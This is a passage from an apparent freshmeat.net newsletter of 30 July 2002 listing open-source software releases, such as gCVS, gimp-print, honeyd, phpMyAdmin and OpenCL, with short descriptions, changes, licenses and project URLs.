a GNOME front-end for the xstella Atari emulator. It allows you to set and preserve a name and a screen shot for a particular ROM. It also allows you to set and keep some global options for the emulator. You can add as many ROMs as you want. Changes: Added keyboard shortcuts, and the ability to double-click on a ROM. A pop-up menu was added, some known bugs were fixed, and the image is now scaled to fit in the window. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/frontstella/ - % - % - % - % - [024] - gCVS 1.0b4 by Karl-Heinz Bruenen (http://freshmeat.net/users/bruenen/) Tuesday, July 30th 2002 05:32 Software Development :: Version Control Software Development :: Version Control :: CVS About: gCVS is a GTK port of WinCVS, a Windows-based CVS client. Changes: Serveral bugs were fixed. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/gcvs/ - % - % - % - % - [025] - gimp-print 4.2.2-pre4 (Stable) by Robert Krawitz (http://freshmeat.net/users/rlk/) Tuesday, July 30th 2002 21:38 Multimedia :: Graphics Printing About: Gimp-Print is a collection of very high quality printer drivers for UNIX/Linux. The goal of this project is uncompromising print quality and robustness. Included with this package is the Print plugin for the GIMP (hence the name), a CUPS driver, and two drivers (traditional and IJS-based) for Ghostscript that may be compiled into that package. This driver package is Foomatic-compatible and provides Foomatic data to enable plug and play with many print spoolers. In addition, various printer maintenance utilities are included. Many users report that the quality of Gimp-Print on high end Epson Stylus printers matches or exceeds the quality of the drivers supplied for Windows and Macintosh. Changes: This release fixes a serious and longstanding problem whereby prints to certain Epson printers hosted on a Windows system are incomplete; the bottom of the last page of the print is chopped off. There are also some minor tweaks for the Epson Stylus Photo 2100/2200. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/gimp-print/ - % - % - % - % - [026] - gnocl 0.5.1 by Peter G. Baum (http://freshmeat.net/users/baum/) Tuesday, July 30th 2002 17:17 Software Development :: Widget Sets About: gnocl is a GTK / Gnome extension for the programming language Tcl. It provides easy to use commands to quickly build Gnome compliant user interfaces including the Gnome canvas widget and drag and drop support. It is loosely modeled after the Tk package. Changes: This release features many GTK+ 2.0 related bugfixes, a new tree and list widget, and dialogs for selecting color, font, and files. There is still no support for special Gnome 2.0 widgets (e.g. canvas). License: BSD License URL: http://freshmeat.net/projects/gnocl/ - % - % - % - % - [027] - GnomeICU 0.98.3 by Patrick (http://freshmeat.net/users/phsung/) Tuesday, July 30th 2002 18:03 Desktop Environment :: Gnome System :: Networking About: GnomeICU is a Gnome application which allows one to communicate with other GnomeICU users or others who use ICQ (Windows, Java, Mac, etc). With GnomeICU, one can send and receive messages, change online modes, chat in realtime, send and receive URLs, and much more. Changes: A new XML contacts list file, better user authorization support, more stable server side contacts list support, many other bugfixes, and some new languages. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/gnomeicu/ - % - % - % - % - [028] - GNUstep 1.4.0 (LaunchPad) by Adam Fedor (http://freshmeat.net/users/afedor/) Tuesday, July 30th 2002 00:31 Desktop Environment :: GNUstep About: GNUstep is a set of general-purpose Objective-C libraries based on the OpenStep standard developed by NeXT (now Apple) Inc. The libraries consist of everything from foundation classes, such as dictionaries and arrays, to GUI interface classes such as windows, sliders, buttons, etc. Changes: The Make package has gone through an extensive reorganization, allowing for better code sharing and a speed increase by at least a factor of 2. The Base library now works better on Windows and Darwin, and has better language support. License: GNU Lesser General Public License (LGPL) URL: http://freshmeat.net/projects/gnustep/ - % - % - % - % - [029] - grocget 0.5 by Anthony Tekatch (http://freshmeat.net/users/anthonytekatch/) Tuesday, July 30th 2002 22:57 Utilities About: grocget helps you shop for groceries faster and more reliably. It can print a master inventory list, as well as an aisle-sorted shopping list. Changes: Changes for using with Python 2.0, and changes to allow running from current directory. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/grocget/ - % - % - % - % - [030] - hdup 1.4.0-1 (Stable) by Miek Gieben (http://freshmeat.net/users/miek/) Tuesday, July 30th 2002 05:50 System :: Archiving :: Backup System :: Archiving :: Compression About: hdup is used to back up a filesystem. Features include encryption of the archive (via mcrypt), compression of the archive (bzip/gzip/none), the ability to transfer the archive to a remote host (via scp), and no obscure archive format (it is a normal compressed tar file). Changes: Added a -f option to force restoring to '/', and made documentation cleanups. Restoring a single file is now possible, and compilation now depends on GNU make. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/hdup/ - % - % - % - % - [031] - Highlight 0.1 by Andr Simon (http://freshmeat.net/users/Saalen/) Tuesday, July 30th 2002 10:36 Text Processing About: Highlight is a universal source code to HTML, XHTML, RTF, or (La)TEX converter. (X)HTML output is formatted by Cascading Style Sheets. It supports Bash, C, C++, Java, Javascript, Lua, Assembler, Perl, PHP, PL/SQL, (Object) Pascal, and Visual Basic files. It's possible to easily enhance Highlight's parsing database. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/highlight/ - % - % - % - % - [032] - honeyd 0.3 by Niels Provos (http://freshmeat.net/users/nielsprovos/) Tuesday, July 30th 2002 12:47 Internet System :: Monitoring About: Honeyd is a small daemon that creates virtual hosts on a network. The hosts can be configured to run arbitrary services, and their TCP personality can be adapted so that they appear to be running certain versions of operating systems. Honeyd enables a single host to claim multiple addresses on a LAN for network simulation. It is possible to ping the virtual machines, or to traceroute them. Any type of service on the virtual machine can be simulated according to a simple configuration file. Instead of simulating a service, it is also possible to proxy it to another machine. Changes: UDP support (including proxying), and many bugfixes. License: BSD License URL: http://freshmeat.net/projects/honeyd/ - % - % - % - % - [033] - ioperm for Cygwin 0.1 by Marcel Telka (http://freshmeat.net/users/telka/) Tuesday, July 30th 2002 10:55 Software Development :: Libraries About: ioperm for Cygwin adds support for the ioperm() function to Cygwin (for Windows NT/2000/XP). This support includes sys/io.h and sys/perm.h header files (not included in Cygwin by default) with development and runtime libraries. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/ioperm/ - % - % - % - % - [034] - IPSquad Packages From Scratch 0.6 by Er-Vin (http://freshmeat.net/users/ervin/) Tuesday, July 30th 2002 05:58 System :: Archiving :: Packaging System :: Installation/Setup System :: Logging About: IPFS (IPSquad Package From Source) is a system which allows you to trace an program's installation from sources and register it in your favorite packaging system. (Only Slackware 8.1 is currently supported.) IPFS watches a command (generally make install), collects the list of added files, and then registers them in the chosen packaging system as if the install was made from a normal package. Unlike other similar products, IPFS is able to track both shared and statically linked programs. A Slackware 8.1 package for IPFS is available for download. Changes: The old resolve_path shell script has been replace with a newer and faster ipfs_realpath coded in C. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/ipfs/ - % - % - % - % - [035] - j 0.16.1 by Peter Graves (http://freshmeat.net/users/petergraves/) Tuesday, July 30th 2002 16:58 Text Editors About: J is a multifile, multiwindow programmer's editor written entirely in Java. It features syntax highlighting for Java, C, C++, XML, HTML, CSS, JavaScript, Lisp, Perl, PHP, Python, Ruby, Scheme, Tcl/Tk, Verilog, and VHDL, automatic indentation, directory buffers, regular expressions, multifile find and replace, autosave and crash recovery, undo/redo, and FTP/HTTP support. All keyboard mappings can be customized. Themes may be used to customize the editor's appearance. Changes: This release adds support for named sessions. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/j/ - % - % - % - % - [036] - jmame 0.3-beta by Joe Ceklosky (http://freshmeat.net/users/jceklosk/) Tuesday, July 30th 2002 23:05 About: yyyyame is a Java-based frontend to XMAME. It uses the Swing toolkit and uses XML to store all settings. Changes: A new abiltiy to verify ROMs using XMAME was added. The status area also displays XMAME verify commands and output. make install and make uninstall commands were also added to the Makefile (edit the Makefile to change the default install location, which is /usr/local/jmame) License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/yyyyame/ - % - % - % - % - [037] - Kadmos OCR/ICR engine 3.5q by Tamas Nagy (http://freshmeat.net/users/nagytam/) Tuesday, July 30th 2002 18:21 Multimedia :: Graphics Software Development :: Libraries About: The Kadmos OCR/ICR (handwriting) recognition engine has multiple languages support (it covers all Latin languages plus others). Interfaces are available for C/C++/VB/Delphi, and Java upon request. It also has isolated character (REC), isolated line (REL), and paragraph (REP) recognition modules. Changes: New image manipulation functions were added to the API. License: Other/Proprietary License URL: http://freshmeat.net/projects/kadmos/ - % - % - % - % - [038] - Kallers 0.2.2 by Nadeem Hasan (http://freshmeat.net/users/nhasan/) Tuesday, July 30th 2002 10:57 Communications :: Telephony Desktop Environment :: K Desktop Environment (KDE) About: Kallers is KDE system tray applet that displays the caller ID information sent by phone companies. It requires a caller ID capable modem. It logs every call internally using an XML format, displays call infomation non- intrusively using a popup window, and optionally plays a ring sound when a call is received. It can optionally ignore anonymous calls. A handy call browser lets you view the call information. Changes: This release fixes anonymous call handling and adds a minor layout fix in the call browser. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/kallers/ - % - % - % - % - [039] - Kemerge 0.6 by Yannick Koehler (http://freshmeat.net/users/ykoehler/) Tuesday, July 30th 2002 17:14 Desktop Environment :: K Desktop Environment (KDE) System :: Installation/Setup System :: Software Distribution Tools About: Kemerge is a KDE graphical front end for Gentoo portage tools. Changes: This release can filter the display of the ebuild list by all possible columns using a regular expression. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/kemerge/ - % - % - % - % - [040] - KMencoder 0.1.2 by RoLo (http://freshmeat.net/users/rolosworld/) Tuesday, July 30th 2002 03:48 Desktop Environment :: K Desktop Environment (KDE) :: Themes KDE 3.x Multimedia Multimedia :: Sound/Audio About: KMencoder is a frontend for Mplayer/Mencoder. Changes: Added a pass-3 method, a kmencoder.spec file, VCD options, and Spanish and German translations. Some minor fixes were made. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/kmencoder/ - % - % - % - % - [041] - KMyIRC 0.2.2 (Alpha) by shermann (http://freshmeat.net/users/shermann/) Tuesday, July 30th 2002 10:08 Communications :: Chat :: Internet Relay Chat Desktop Environment :: K Desktop Environment (KDE) :: Themes KDE 3.x Internet About: KMyIRC is an attempt to provide an IRC client for KDE which is high-quality and easy to use, but not bloated. It was created because it was felt that the other KDE-based IRC clients were either not user-friendly or burdened with features that are not useful to the average IRC user. Changes: This release adds highlight phrases, timestamps in channel output, and the ability to disable the server list at startup. It fixes some nasty and serious bugs in 0.2.1. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/kmyirc/ - % - % - % - % - [042] - koalaXML 0.3.0 by Ricardo Zuasti (http://freshmeat.net/users/rzuasti/) Tuesday, July 30th 2002 12:52 Software Development :: Libraries :: Java Libraries Text Processing :: Markup :: XML About: koaLaXML is an extremely simple Java XML data type. It is very useful as a parameter or return type, as well as a class property type. It is object-oriented, and supports a varied range of type values (int, double, dates, etc.) as well as attributes and nested tags. Changes: Removal of scriptlet support, the first complete JavaDoc, a major API redesign, support for multiple tags with the same name, requirement of a root tag, and iterative sibling access (hasMoreSiblings()/nextSibling() combo). License: GNU Lesser General Public License (LGPL) URL: http://freshmeat.net/projects/koalaxml/ - % - % - % - % - [043] - Koch-Suite 0.7 (Development) by Michael Lestinsky (http://freshmeat.net/users/lestinsky/) Tuesday, July 30th 2002 12:57 Database About: Koch-Suite helps you to manage your recipes. It is written in PHP and uses MySQL/PostgreSQL. Changes: The user model has changed since 0.6; users are classified hierarchically and there is a new administration interface. The navigation between the individual parts and the Internationalization has been improved (there is a new preliminary Spanish translation). The data model has changed slightly to deal with metadata, such as the source of a recipe or the date of recording. Plenty bugfixes were done, too. License: BSD License URL: http://freshmeat.net/projects/koch-suite/ - % - % - % - % - [044] - Lago 0.5.2-gcc3.patch by Emanuele Fornara (http://freshmeat.net/users/lago/) Tuesday, July 30th 2002 18:02 Database :: Database Engines/Servers About: Lago is a portable (Linux/Windows), multi-threaded database written in C++. Changes: This patch allows you to compile Lago with the latest versions of the GNU Compiler. A few bugs have also been fixed. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/lago/ - % - % - % - % - [045] - libdv 0.98 by Charles 'Buck' Krasic (http://freshmeat.net/users/krasic/) Tuesday, July 30th 2002 17:00 Multimedia :: Video About: The Quasar DV codec (libdv) is a software codec for DV video, the encoding format used by most digital camcorders, typically those that support the IEEE 1394 (a.k.a. FireWire or i.Link) interface. libdv was developed according to the official standards for DV video: IEC 61834 and SMPTE 314M. Changes: Many contributed bugfiixes and minor feature updates. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/libdv/ - % - % - % - % - [046] - Lindenmayer Systems in Python 1.0 by Eleventh Hour (http://freshmeat.net/users/xihr/) Tuesday, July 30th 2002 17:52 Scientific/Engineering :: Artificial Intelligence Scientific/Engineering :: Mathematics Text Processing :: General About: Lindenmayer Systems in Python provides a simple implementation of Lindenmayer systems (also called ""L-systems"" or ""substitution systems""). In basic form, a Lindenmayer system consists of a starting string of symbols from an alphabet which has repeated transitions applied to it, specified by a list of transition search-and-replace rules. In addition to the standard formulation, two alternative implementations are included: sequential systems (in which at most one rule is applied) and tag systems (in which the transition only takes place at the beginning and end of the string). Despite being implemented entirely in Python, for reasonable rules on a modern machine, the system is capable of running thousands of generations per second. Lindenmayer systems are found in artificial intelligence and artificial life and can be used to generate fractal patterns (usually via mapping symbols from the alphabet to turtle commands), organic-looking patterns that can simulate plants or other living things, or even music. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/lsystem/ - % - % - % - % - [047] - LM-Solve 0.5.6 (Development) by Shlomi Fish (http://freshmeat.net/users/shlomif/) Tuesday, July 30th 2002 01:55 Games/Entertainment :: Puzzle Games About: LM-Solve is a solver for several types of the puzzles present on the Logic Mazes site. It currently supports Alice Mazes, Number Mazes, and Theseus and the Minotaur Mazes. Changes: A non-portable RPM macro was replaced with a plain text command. A small piece of the code as been made more Perl-ish and more robust. License: Public Domain URL: http://freshmeat.net/projects/lm-solve/ - % - % - % - % - [048] - MKDoc 1.4 by Chris Croome (http://freshmeat.net/users/chriscroome/) Tuesday, July 30th 2002 10:43 Internet :: WWW/HTTP :: Site Management About: MKDoc is a Web site building, serving, and content management tool that has been designed to encourage the use of good information architecture and the production of accessible Web sites. It provides different ways for the public to interact with and navigate between documents, including a sitemap, search facility, Dublin Core XML / RDF metadata for documents, and printer versions of pages. All management, document creation, editing, and organizing is done via a standard web browser. The look is controlled using templates. MKDoc uses Unicode/UTF-8 throughout and can support all languages, including right-to-left languages. Changes: This release features support for right-to-left languages, a photo component which dynamically generates thumbnails and scaled images, and support for HTTP authentication (so cookies are no longer required). License: Other/Proprietary License with Source URL: http://freshmeat.net/projects/mkdoc/ - % - % - % - % - [049] - mksysdisp 0.1.4 by Peter (http://freshmeat.net/users/darthludi/) Tuesday, July 30th 2002 13:00 System :: Boot About: mksysdisp is a simple program which converts text to SYSLinux messages. It allows you to create a boot-message for a SYSLinux bootdisk. It understands keyboard and file input. Changes: A new ability to start without passing arguments. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/mksysdisp/ - % - % - % - % - [050] - Mondo 0.7 (Stable) by Kelledin (http://freshmeat.net/users/kelledin/) Tuesday, July 30th 2002 13:00 System :: Monitoring About: Mondo is a very simplistic health monitoring daemon that relies on lm_sensors. It is capable of monitoring whatever settings you're willing to assign a label to in your sensors.conf file. It provides the same function as Motherboard Monitor, except it lacks a GUI interface and is specific to Linux. Changes: This release implements proper SIGCHILD handling to fix a resource consumption bug. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/mondo-daemon/ - % - % - % - % - [051] - Mysql-sdb 0.1a by Mihai Chelaru (http://freshmeat.net/users/Koifren/) Tuesday, July 30th 2002 11:05 Database Internet :: Name Service (DNS) About: Mysql-sdb provides support for using a MySQL database to store the data for a DNS zone in BIND 9. Changes: This release adds numerous bugfixes and code cleaning. An already-patched version of bind-9.2.1 is now available on the Web site. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/bind-mysql/ - % - % - % - % - [052] - NNTPobjects 0.9 by fharmon (http://freshmeat.net/users/fharmon/) Tuesday, July 30th 2002 00:43 Communications :: Usenet News Utilities About: NNTPobjects is a collection of C++ classes for easily creating simple or advanced NNTP clients. It enables novice and advanced C++ programmers to quickly write small utilities, or even full-featured NNTP clients. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/nntpobjects/ - % - % - % - % - [053] - ogmtools 0.7 by Moritz Bunkus (http://freshmeat.net/users/Mosu/) Tuesday, July 30th 2002 18:39 Multimedia :: Sound/Audio :: Conversion Multimedia :: Video :: Conversion About: The ogmtools allow users to display information about (ogminfo), extract streams from (ogmdemux), and merge several streams into (ogmmerge) Ogg files. Supported stream types include video streams from AVIs or Ogg files and Vorbis audio from Ogg files. The resulting files can be played back with mplayer or with the OggDS Direct Show filters under Windows. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/ogmtools/ - % - % - % - % - [054] - One-Wire Weather 0.67.10 by Dr. Simon J. Melhuish (http://freshmeat.net/users/sjmelhuish/) Tuesday, July 30th 2002 10:46 Scientific/Engineering About: Oww (One-Wire Weather) is a client program for Dallas Semiconductor / AAG 1-wire weather station kits, providing a graphical (animated) display to monitor outside temperature, wind speed and direction, rainfall, and humidity. Extra temperature sensors may be added. A 1-wire ""hub"" may be used for improved reliability and range. Weather data may be logged to CSV files, parsed to command line programs, sent to the Henriksen Windows client, or uploaded to Web servers at Dallas, The Weather Underground, and HAMweather. Changes: A server has been added to send data to clients in a user-set parser format. Up to 8 counters may now be assigned for general-purpose counting, such as for lightning detectors. License: Artistic License URL: http://freshmeat.net/projects/oww/ - % - % - % - % - [055] - Open Remote Collaboration Tool 1.0.1 by Thomas Amsler (http://freshmeat.net/users/amsler/) Tuesday, July 30th 2002 18:06 Communications :: Chat Education Internet About: OpenRCT is a multidisciplinary effort to enhance collaboration between people who are not co-located in time and space. It is a platform independent multimedia tool that supports synchronous and/or asynchronous communication. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/openrct/ - % - % - % - % - [056] - OpenCL 0.8.7 by Jack Lloyd (http://freshmeat.net/users/randombit/) Tuesday, July 30th 2002 18:09 Security :: Cryptography About: OpenCL is a library of cryptographic algorithms, written in C++. It currently includes a wide selection of block and stream ciphers, public key algorithms, hash functions, and message authentication codes, plus a high level filter-based interface. Changes: This release fixes a major bug in OpenCL involving a possible crash at application shutdown. Problems in EME1 and EMSA4, and various minor bugs, were also fixed. License: BSD License URL: http://freshmeat.net/projects/opencl/ - % - % - % - % - [057] - OpenEJB 0.8 Final by David Blevins (http://freshmeat.net/users/dblevins/) Tuesday, July 30th 2002 00:38 Software Development :: Libraries :: Application Frameworks Software Development :: Object Brokering :: CORBA About: OpenEJB is a pre-built, self-contained, portable EJB container system that can be plugged into any server environment including application servers, Web servers, J2EE platforms, CORBA ORBs, databases, etc. Changes: Enhancements in this release include a telnet admin console with server status commands, a remote server stop command for the openejb.bat and openejb.sh scripts, and a remote server stop class callable from Ant or other client code. Source code generation is no longer included, and the remote server is now stopped after tests have run. A JDK 1.4 IncompatibleClassChangeError in KeyGeneratorFactory was fixed, along with a problem where the host java.sun.com could not be found. License: BSD License URL: http://freshmeat.net/projects/openejb/ - % - % - % - % - [058] - OpenOffice Indexer 0.1 (Development) by jerger (http://freshmeat.net/users/jerger/) Tuesday, July 30th 2002 05:44 Office/Business :: Office Suites Text Processing :: Markup :: XML Utilities About: OpenOffice Indexer generates an index for OpenOffice.org documents. It can extract keywords and make documents accessible for various keyword systems. Changes: This version can recursively scan for documents, parse for keywords, and write a catalog to an index.html file. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/oofficeindexer/ - % - % - % - % - [059] - OSSP cfg 0.9.0 by Ralf S. Engelschall (http://freshmeat.net/users/rse/) Tuesday, July 30th 2002 19:01 Software Development :: Libraries System :: Operating System Text Processing About: OSSP cfg is a ISO-C library for parsing arbitrary C/C++-style configuration files. A configuration is sequence of directives, each directive consists of zero or more tokens, and each token can be either a string or again a complete sequence. This means the configuration syntax has a recursive structure and allows you to create configurations with arbitrarily-nested sections. The configuration syntax also provides complex single/double/balanced quoting of tokens, hexadecimal/octal/decimal character encodings, character escaping, C/C++ and shell-style comments, etc. The library API allows importing of a configuration text into an Abstract Syntax Tree (AST), traversing the AST, and optionally exporting the AST again as a configuration text. License: MIT/X Consortium License URL: http://freshmeat.net/projects/cfg/ - % - % - % - % - [060] - OSSP fsl 0.1.12 by Ralf S. Engelschall (http://freshmeat.net/users/rse/) Tuesday, July 30th 2002 19:00 Software Development :: Libraries System :: Logging About: OSSP fsl offers the syslog API otherwise provided by libc. Instead of writing to the syslogd process, it uses the powerful OSSP l2 logging capabilities. It is a drop-in link-time replacement which enables any syslog consumer to take advantage of OSSP l2 by just linking this library in before libc. The program is intended to apply OSSP l2 functionality to existing syslog-based third-party programs without the requirement to change the source code of the program. License: MIT/X Consortium License URL: http://freshmeat.net/projects/fsl/ - % - % - % - % - [061] - OSSP l2 0.9.0 by Ralf S. Engelschall (http://freshmeat.net/users/rse/) Tuesday, July 30th 2002 19:01 Software Development :: Libraries System :: Logging About: OSSP l2 is a C library providing a very flexible and sophisticated Unix logging facility. It is based on the model of arbitrary number of channels, stacked together in a top-down data flow tree structure with filtering channels in internal nodes and output channels on the leave nodes. Channel trees can be either constructed manually through lower-level API functions or all at once with a single API function controlled by a compact syntactical description of the channel tree. For generating log messages, a printf-style formatting engine is provided which can be extended through callback functions. The data flow inside the channel tree is controlled by logging message severity levels which are assigned to each individual channel. License: MIT/X Consortium License URL: http://freshmeat.net/projects/l2/ - % - % - % - % - [062] - Papercut NNTP Server 0.8.3 by Joo Prado Maia (http://freshmeat.net/users/jcpm/) Tuesday, July 30th 2002 00:34 Communications :: Usenet News Software Development :: Libraries :: Python Modules About: Papercut is a multi-threaded NNTP server written in Python. Its main objective is to integrate existing Web-based message board software (Phorum on the first few versions) with a Usenet front-end. However, its extensibility enables developers to write their own container for the storage of the Usenet articles (messages). That means that the code is extensible enough that you could write new containers to integrate the news server with other Web message board projects or even other ways to store the messages. Changes: The various storage modules have been redesigned, and initial code for NTTP authentication was added. New features include a standalone MySQL storage module with no Web front-end, an authentication module for Phorum, and the concept of a 'read-only' / 'read-write' server with password protection. Most (if not all) of the features are working. License: BSD License URL: http://freshmeat.net/projects/papercut/ - % - % - % - % - [063] - PEANUTS 1.03 by JP Durman (http://freshmeat.net/users/johnnyplayer/) Tuesday, July 30th 2002 06:18 System :: Systems Administration Utilities About: PEANUTS is a console-based Internet user management system, which is perfect for system administrators who normally do things like adding virtual hosts or new users by hand. It allows such tasks to me completely automated. Changes: The directories for Web and system users are automatically created when the first user is installed. Deletion of users and websites is now possible. The menu is now somewhat more user friendly. Webalizer config files are now stored in a users' own directory, and the domains belonging to each user are now tracked better. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/peanuts/ - % - % - % - % - [064] - PHP Online RPG 1.1 by Adam (http://freshmeat.net/users/atomical2a/) Tuesday, July 30th 2002 21:35 Games/Entertainment Games/Entertainment :: Role-Playing About: The PHP Online RPG uses open-ended object programming and HTML tables to create a vast world. Changes: Several speedups (including a one-second load time with the local MySQL server on reasonable hardware). In order to program in this RPG you have to use a MySQL client for now, due to Webhosting issues. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/phpolrpg/ - % - % - % - % - [065] - phpMyAdmin 2.3.0-rc4 (Unstable) by Loic (http://freshmeat.net/users/loic1/) Tuesday, July 30th 2002 10:56 Database :: Front-Ends System :: Systems Administration About: phpMyAdmin is a tool written in PHP intended to handle the administration of MySQL over the WWW. Currently it can create and drop databases, create/drop/alter tables, delete/edit/add fields, execute any SQL statement, manage keys on fields, create dumps of tables and databases, export/import CSV data and administrate one single database and multiple MySQL servers. Changes: A new and far more valuable SQL pre-parser has been implemented. Some little bugs have been fixed and some translations completed. This should be the last release candidate. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/phpmyadmin/ - % - % - % - % - [066] - PHPTalk 0.9 by joestump98 (http://freshmeat.net/users/joestump98/) Tuesday, July 30th 2002 17:15 Communications :: BBS Internet :: WWW/HTTP :: Dynamic Content :: Message Boards About: PHPTalk aims to be the fastest and most configurable multithreaded message board system available. It has the usual features like multithreading, auto indexing of messages (for searching), customizable colors, etc. However, PHPTalk differs in that it allows you to easily integrate it into existing sites. It does this by not relying on specific display files, allowing you to template most of the frontend, and allowing you to specify an already existing user table. Also included is a DBI for portability, ANSI SQL for portability, an advanced and documented API, full multilingual support, and full i18n support for date functions. Changes: This release has migrated to PEAR. It has an expanded API, major code cleanups, increased i18n support, and many minor bugfixes. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/phptalk/ - % - % - % - % - [067] - phpTest 0.6.1 by Brandon Tallent (http://freshmeat.net/users/djresonance/) Tuesday, July 30th 2002 18:01 Education :: Testing Internet :: WWW/HTTP :: Dynamic Content About: phpTest is a Web-based testing program. It provides an environment to take multiple choice or true/false quizzes. It is designed to be modular and flexible. An administrator can add any number of questions, tests, users, and groups. Once a test is created, a user can log in to take the test, and his test results are scored automatically and stored in the database for easy viewing. It includes features designed to prevent cheating, such as randomization of questions on tests, and security logging for unauthorized access to pages. Changes: Options have been added to limit the number of times someone can retake a test, to not let someone retake a test once they've passed it, and to allow html in questions. Many bugs have been fixed. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/phptest/ - % - % - % - % - [068] - php_passport_check 0.1 by yetanothername (http://freshmeat.net/users/yetanothername/) Tuesday, July 30th 2002 19:01 Internet :: WWW/HTTP :: Dynamic Content :: CGI Tools/Libraries About: php_passport_check is a function to check the validity of a passport ID (the last line of a passport). License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/php_passport_check/ - % - % - % - % - [069] - php_writeexcel 0.1.1 by Jonny (http://freshmeat.net/users/jonnyh/) Tuesday, July 30th 2002 17:11 Office/Business Office/Business :: Office Suites Software Development :: Libraries :: PHP Classes About: php_writeexcel is a port of John McNamara's excellent Spreadsheet::WriteExcel Perl package to PHP. It allows you to generate Microsoft Excel documents on your PHP enabled Web server without any other tools. Changes: Several PHP warnings regarding call-time pass-by-reference and undefined constants have been fixed. License: GNU Lesser General Public License (LGPL) URL: http://freshmeat.net/projects/php_writeexcel/ - % - % - % - % - [070] - poweroff 0.4 by Klaus Heuschneider (http://freshmeat.net/users/hksoft/) Tuesday, July 30th 2002 01:58 System :: Hardware About: poweroff is a tool that allows you to power up or power down a PC system over serial line using a few pieces of additional hardware. Changes: Some bugfixes were added, along with a new hardware circuit for ATX mainboards. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/poweroff/ - % - % - % - % - [071] - PPPOEd 0.49 by Amy Fong (http://freshmeat.net/users/afong/) Tuesday, July 30th 2002 23:10 System :: Networking About: PPPOEd is another PPP-over-Ethernet implementation. It splits functionality between kernel and user space and includes a user space program, pppoed, for discovery and connection management. Changes: Bugfixes and pppoed feature enhancements to the Install script. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/pppoed/ - % - % - % - % - [072] - QtMyAdmin 0.4 by Marcin Jankowski (http://freshmeat.net/users/marcinjankowski/) Tuesday, July 30th 2002 21:37 Database :: Front-Ends System :: Systems Administration About: QtMyAdmin is a tool intended to handle the administration of MySQL, just like PHPMyAdmin does. Changes: Privilege management is now visualised as a MListWidgets widget, which makes it more comfortable to use. The graphical interface is beautified by many colorful pixmaps on buttons and in menu. There is also some major code reorganization, a few rewrites, and a few bugfixes, and a first RPM package is available. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/qtmyadmin/ - % - % - % - % - [073] - Quantum GIS 0.0.2 (Development) by Mrcc (http://freshmeat.net/users/mrccalaska/) Tuesday, July 30th 2002 03:47 About: Quantum GIS (QGIS) is a Geographic Information System (GIS) for Linux/Unix. It will offer support for vector and raster formats. It currently supports spatially enabled tables in PostgreSQL using PostGIS. Due to the complexity of creating a feature-rich GIS application, support for various data stores will be added in a phased approach. Ultimately, it will be able to read and edit shape files, display geo-referenced rasters (TIFF, PNG, and GEOTIFF), create map output, and support database tables. A plugin feature to dynamically add new functionality is planned. Changes: This release includes improved rendering of map layers, zoom and pan capability, and other minor improvements. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/qgis/ - % - % - % - % - [074] - RedBase Pure Java RDBMS 1.5 by Bungisoft, Inc. (http://freshmeat.net/users/ilyaverlinsky/) Tuesday, July 30th 2002 05:55 Database Database :: Database Engines/Servers Database :: Front-Ends About: RedBase Pure Java RDBMS is a 100% Pure Java database, with an ultra-compact footprint designed for rapidly developing applications that extend enterprise data management capabilities, to mobile and embedded devices. It is ideal for mobile, wireless, and embedded applications, and it delivers essential relational database functionality in a small footprint, while providing flexible data access, and the familiar feel through entry SQL-92 compliance, and JDBC access. Changes: This release has support for the ALTER statement and improved support for triggers and views. It is optimized to increase performance. A Swing database manager has been added. The distribution has been configured to have multiple jar files based on features needed. License: Other/Proprietary License with Free Trial URL: http://freshmeat.net/projects/redbase/ - % - % - % - % - [075] - RH Email Server 0.9.8.1 by PolyWog (http://freshmeat.net/users/erecio/) Tuesday, July 30th 2002 12:56 Communications :: Email Communications :: Email :: Address Book Communications :: Email :: Email Clients (MUA) About: The RH Email Server uses OpenLDAP authentication for IMAP, POP3, SMTP, and SSL/TLS protocols. It includes a Web interface, administration, and filters. Changes: Updating RHSDADM to allow delegated Admins, an updated group/user add/edit interface, new mailbox browsing for users, and an updated IMP to allow for vacation messages, auto-replys, and auto-forward filters via Sieve. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/rhems/ - % - % - % - % - [076] - S/MIME Library for Java 1.5.0 by Josh Eckels (http://freshmeat.net/users/jeckels/) Tuesday, July 30th 2002 01:57 Communications :: Email Security :: Cryptography Software Development :: Libraries About: The ISNetworks S/MIME library adds to JavaMail a complete set of S/MIME Cryptographic functions including digital signing, signature verification, encryption, and decryption. Non-profit organizations can acquire a free license to the product by contacting ISNetworks. Changes: This release includes JavaMail 1.3 and JAF 1.0.2, adds a new example program and GUI, and contains minor API enhancements. License: Other/Proprietary License with Free Trial URL: http://freshmeat.net/projects/smime/ - % - % - % - % - [077] - Secure FTP Wrapper 2.5.2 by glub 